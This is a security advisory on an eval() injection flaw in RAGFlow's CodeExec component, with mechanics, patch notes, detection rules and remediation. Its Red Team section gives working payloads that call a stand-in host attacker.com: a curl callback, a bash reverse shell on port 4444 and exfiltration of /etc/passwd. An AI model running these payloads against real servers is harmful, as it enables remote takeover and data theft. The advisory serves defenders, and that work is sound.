CVE-2025-68700

Executive Summary

CVE-2025-68700 is a critical vulnerability in RAGFlow, an open-source Retrieval-Augmented Generation (RAG) engine. This flaw allows a low-privileged authenticated user to execute arbitrary system commands on the server host process via the frontend Canvas CodeExec component, completely bypassing sandbox isolation. The root cause is the use of eval() on untrusted data (stdout) without any filtering or sandboxing. This vulnerability is compounded by additional endpoints lacking access control or containing inverted permission logic, significantly expanding the attack surface and enabling chained exploitation. The CVSS score is 0.0 in the NVD data, but based on the technical details, this is a critical remote code execution vulnerability. The patch is available in version 0.23.0.

Supply Chain & Package Security

This vulnerability is in the RAGFlow application itself, not in a specific package manager (NPM, PyPI, Go, Ruby). However, the exploitation of this vulnerability could lead to the compromise of the entire RAGFlow server, potentially affecting any data or models stored within it. The use of eval() on untrusted data is a classic insecure coding practice that bypasses any sandboxing intended by the application.

CVSS Breakdown & Threat Level

Based on the technical details, the CVSS score is estimated as follows:

• Attack Vector (AV): Network (N) - The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) - An attacker needs a low-privileged authenticated user account.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): High (H) - Complete loss of confidentiality.
• Integrity (I): High (H) - Complete loss of integrity.
• Availability (A): High (H) - Complete loss of availability.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Base Score: 9.9 (Critical)

Threat Level: Critical. This vulnerability allows for complete server compromise from a low-privileged account.

Deep Dive & Mechanics

The vulnerability resides in the Canvas CodeExec component of RAGFlow. This component is designed to execute user-provided code in a sandboxed environment and return the output. However, the implementation has a critical flaw: the output (stdout) from the sandboxed execution is parsed using eval() on the server side.

The intended design was to "automatically convert string results into Python objects." However, eval() in Python can execute arbitrary code. If an attacker can control the output of the sandboxed execution, they can inject malicious Python code that will be executed on the server host process, completely bypassing the sandbox.

The attack chain is as follows:

1. Authentication: The attacker logs in with a low-privileged user account.
2. Access Canvas: The attacker accesses the Canvas CodeExec component.
3. Craft Payload: The attacker crafts a code snippet that, when executed in the sandbox, produces a stdout string containing malicious Python code. For example, the sandboxed code could be: print("__import__('os').system('id')").
4. Trigger Execution: The attacker submits the code snippet to the Canvas CodeExec component.
5. Sandbox Execution: The sandbox executes the code and returns the stdout string: __import__('os').system('id').
6. Server-Side eval(): The server-side code uses eval() on this stdout string, executing __import__('os').system('id') on the host process.
7. Command Execution: The attacker's command is executed on the server.

Additionally, the advisory mentions that other endpoints lack access control or have inverted permission logic. This means an attacker could potentially chain this vulnerability with other flaws to escalate privileges or access sensitive data.

Vulnerable vs. Patched Code

The vulnerable code is in the server-side handler for the Canvas CodeExec component. The exact code is not publicly available, but the logic is as follows:

Vulnerable Code (Conceptual):

# Vulnerable server-side code
def handle_code_exec(code):
    result = run_in_sandbox(code)
    # VULNERABLE: Using eval() on untrusted output
    parsed_result = eval(result.stdout)
    return parsed_result

Patched Code (Conceptual):

# Patched server-side code
def handle_code_exec(code):
    result = run_in_sandbox(code)
    # PATCHED: Using ast.literal_eval() for safe parsing
    parsed_result = ast.literal_eval(result.stdout)
    return parsed_result

The patch replaces eval() with ast.literal_eval(), which only evaluates literal Python expressions (strings, numbers, tuples, lists, dicts, booleans, and None) and does not execute arbitrary code. This prevents the injection of malicious commands.

Exploitation & Lab Setup

Red Team

Objective: Achieve Remote Code Execution (RCE) on the RAGFlow server.

Prerequisites:

• A low-privileged user account on the RAGFlow instance.
• Network access to the RAGFlow web interface.

Exploit Steps:

1. Login: Log in to the RAGFlow web interface with the low-privileged account.
2. Navigate to Canvas: Go to the Canvas CodeExec component.
3. Craft Payload: Create a code snippet that, when executed in the sandbox, outputs a malicious Python expression. For example:

   print("__import__('os').system('curl http://attacker.com/$(whoami)')")
   

   This will execute curl on the server, sending the output of whoami to the attacker's server.
4. Execute: Submit the code snippet.
5. Receive Callback: The attacker's server receives a request with the username of the server process.

More Advanced Payloads:

• Reverse Shell:

  print("__import__('os').system('bash -c \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\"')")
  

• Data Exfiltration:

  print("__import__('os').system('cat /etc/passwd | base64 | curl -X POST -d @- http://attacker.com/exfil')")
  

Blue Team

Objective: Detect and prevent exploitation of CVE-2025-68700.

Detection Steps:

1. Monitor for eval() Usage: Monitor server-side logs for any unusual usage of eval() or exec() functions.
2. Monitor Canvas CodeExec Logs: Enable detailed logging for the Canvas CodeExec component. Look for code snippets that contain suspicious patterns like __import__, os.system, subprocess, eval, exec, or any network-related commands (curl, wget, nc).
3. Network Monitoring: Monitor outbound network connections from the RAGFlow server. Look for connections to unknown or suspicious IP addresses, especially on non-standard ports.
4. User Activity Monitoring: Monitor for unusual activity from low-privileged accounts, especially if they are accessing the Canvas CodeExec component.
5. File Integrity Monitoring: Monitor for changes to critical system files or the RAGFlow application files.

Prevention Steps:

1. Patch Immediately: Upgrade RAGFlow to version 0.23.0 or later.
2. Network Segmentation: Place the RAGFlow server in a segmented network with strict egress filtering.
3. Least Privilege: Ensure that user accounts have the minimum necessary privileges. Consider disabling the Canvas CodeExec component for low-privileged users if possible.
4. Web Application Firewall (WAF): Deploy a WAF with rules to detect and block malicious payloads targeting eval() injection.
5. Runtime Application Self-Protection (RASP): Use a RASP solution to monitor and block dangerous function calls like eval() at runtime.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound connections from the RAGFlow server to unknown IP addresses on ports 80, 443, or non-standard ports (e.g., 4444, 1337).
• HTTP requests containing patterns like __import__, os.system, subprocess.Popen, eval, exec in the request body or parameters.
• DNS queries to domains associated with known C2 infrastructure.

Host IOCs:

• Unexpected processes spawned by the RAGFlow application (e.g., bash, sh, curl, wget, nc, python).
• Unusual files created in the RAGFlow application directory or system temporary directories.
• Modifications to system files (e.g., /etc/passwd, /etc/shadow, /etc/crontab).
• Log entries in the RAGFlow application logs showing eval() or exec() calls with suspicious arguments.

File IOCs:

• Code snippets in the Canvas CodeExec component that contain __import__, os.system, subprocess, eval, exec, or network commands.

Detection Engineering

YARA Rule

rule CVE_2025_68700_RAGFlow_Eval_Injection {
    meta:
        description = "Detects attempts to exploit CVE-2025-68700 in RAGFlow by identifying malicious eval() payloads"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "critical"
        reference = "CVE-2025-68700"

    strings:
        $eval_payload = /__import__\s*\(\s*['\"]os['\"]\s*\)\s*\.\s*system\s*\(/
        $eval_payload2 = /__import__\s*\(\s*['\"]subprocess['\"]\s*\)/
        $eval_payload3 = /eval\s*\(\s*__import__/
        $eval_payload4 = /exec\s*\(\s*__import__/
        $network_cmd = /(curl|wget|nc|bash|sh)\s+.*(-e| -c| -i)/
        $reverse_shell = /bash\s+-i\s*>\s*&\s*\/dev\/tcp\//

    condition:
        any of ($eval_payload*) or ($network_cmd and $reverse_shell)
}

Sigma Rule

title: CVE-2025-68700 RAGFlow Eval Injection Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-68700 in RAGFlow by monitoring for malicious eval() payloads in web requests.
author: Valters IT
date: 2025-04-10
tags:
    - attack.t1203
    - cve.2025.68700
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/canvas/code_exec'
        cs-uri-query|contains:
            - '__import__'
            - 'os.system'
            - 'subprocess'
            - 'eval('
            - 'exec('
    condition: selection
falsepositives:
    - Legitimate use of Python code that includes these strings (unlikely in this context)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-68700 RAGFlow Eval Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/canvas/code_exec"; http_uri;
    content:"__import__"; http_client_body;
    content:"os.system"; http_client_body;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-68700;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade RAGFlow to version 0.23.0 or later immediately. This is the only complete fix.
2. Isolate: If patching is not immediately possible, isolate the RAGFlow server from the network or restrict access to only trusted users.
3. Disable Component: If possible, disable the Canvas CodeExec component for all users until the patch can be applied.

Long-Term Mitigations:

1. Code Review: Conduct a thorough code review of the RAGFlow application, focusing on any use of eval(), exec(), or similar dangerous functions.
2. Input Validation: Implement strict input validation and sanitization for all user-supplied data, especially code snippets.
3. Sandboxing: Ensure that any sandboxing mechanisms are properly implemented and cannot be bypassed by controlling the output.
4. Access Control: Review and enforce proper access controls for all endpoints, especially those that execute user code.
5. Monitoring: Implement the detection rules provided in this report to monitor for exploitation attempts.

Valters IT
DevSecOps & Cyber Threat Intelligence